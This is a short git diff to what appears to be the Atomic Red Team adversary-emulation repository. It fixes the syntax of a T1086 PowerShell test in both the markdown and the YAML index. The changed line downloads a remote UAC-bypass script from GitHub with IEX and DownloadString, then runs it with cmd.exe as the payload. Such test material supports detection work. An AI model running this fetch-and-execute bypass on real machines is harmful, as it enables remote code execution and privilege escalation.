diff --git a/atomics/T1086/T1086.md b/atomics/T1086/T1086.md index 3a4fd779..caa00b85 100644 --- a/atomics/T1086/T1086.md +++ b/atomics/T1086/T1086.md @@ -114,8 +114,7 @@ Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-pat #### Run it with `command_prompt`! ``` -Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass" -C:\Windows\System32\cmd.exe +Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'" ```

diff --git a/atomics/index.yaml b/atomics/index.yaml index b284dd98..83cefb12 100644 --- a/atomics/index.yaml +++ b/atomics/index.yaml @@ -16699,9 +16699,10 @@ execution: - windows executor: name: command_prompt - command: | - Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass" - C:\Windows\System32\cmd.exe + command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1''); + Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''" + +' - name: PowerShell Add User description: 'Using PS 5.1, add a user via CLI